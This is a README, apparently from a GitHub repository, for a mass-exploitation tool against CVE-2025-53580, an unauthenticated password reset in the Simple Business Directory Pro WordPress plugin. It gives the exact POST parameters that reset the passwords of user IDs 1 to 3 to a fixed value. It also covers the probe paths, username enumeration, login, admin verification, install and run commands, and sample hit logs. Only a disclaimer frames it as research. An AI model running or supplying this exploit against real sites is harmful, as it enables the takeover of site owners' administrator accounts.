nxploited/cve-2025-53580WordPress Simple Business Directory Pro Plugin < 15.6.9 は、高優先度の権限昇格 (Privilege Escalation) の脆弱性の影響を受けます。
WordPress Simple Business Directory Pro プラグイン < 15.6.9 は、優先度の高い権限昇格（Privilege Escalation）の脆弱性の影響を受けます
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
根本原因:
このプラグインは、数値の qcpd-uid（WordPress ユーザー ID）と新しい pass 値を受け付けるフロントエンドのパスワード復元フォーム（qcpd-restore-pwd）を公開しています。パスワードが変更される前に、認証、トークン、nonce、またはメール検証は一切実施されません。認証されていない攻撃者は、単一の POST リクエストを送信するだけで、ユーザー ID 1（通常はサイト管理者）およびその他の任意のユーザーのパスワードをリセットし、その後、注入したパスワードで認証して完全な管理者アクセスを取得できます。
┌─────────────────────────────────────────────────────────────────┐
│ 1. Discover SBD restore page │
│ Probe 24 candidate paths → match body containing "sbd" │
│ │
│ 2. Reset passwords by user ID │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (then 2, then 3) │
│ pass = NxploitedNX │
│ │
│ 3. Enumerate usernames │
│ /?author=1..9 → redirect / body parse │
│ /wp-json/wp/v2/users → slug / username fields │
│ hostname heuristic + "admin" fallback │
│ │
│ 4. Login with injected password │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Check: wordpress_logged_in cookie present │
│ │
│ 5. Verify admin access (dual method) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / users table │
│ │
│ 6. Write confirmed hit → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Successful hits file [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
すべてのリセット試行で注入されるパスワードは内部で固定されています:
NxploitedNX
サイトごとに標的となるユーザー ID:
1、2、3（MAX_USER_IDで設定可能）
list.txthttps://target1.com
target2.com
http://target3.com
このツールは、ターゲットごとに 24 個のパス をスキャンし、ボディに sbd を含むページを探します:
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
ログイン成功はすべて、ディスクに書き込まれる前に 2 つの独立したチェックで検証されます:
方法 1 — REST API:
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN CONFIRMED
方法 2 — ダッシュボード:
GET /wp-admin/users.php
→ adminmenu / users table markers present → ADMIN CONFIRMED
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: starting
[ok] https://target.com :: found front-end sbd page at https://target.com/my-account
[info] https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info] https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: extracting usernames and trying login
[ok] https://target.com :: login OK for user='admin', checking admin...
[ok] https://target.com :: HIT for user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: no sbd page found in candidate restore paths, skipping
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · 15.6.9 で修正済み
| 項目 | 詳細 |
|---|
| CVE | CVE-2025-53580 |
| プラグイン | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| 影響を受けるバージョン | すべてのバージョン < 15.6.9 |
| 認証 | 不要 |
| 種別 | 不正確な権限の割り当て → 未認証のパスワードリセット |
| CWE | CWE-266 · 不正確な権限の割り当て |
| 方法 | エンドポイント |
|---|
| 著者リダイレクト | /?author=1 → /?author=9 |
| REST API | /wp-json/wp/v2/users → slug + username |
| ホスト名ヒューリスティック | ドメインの最初のラベル |
| ハードコードされたフォールバック | admin が常に含まれる |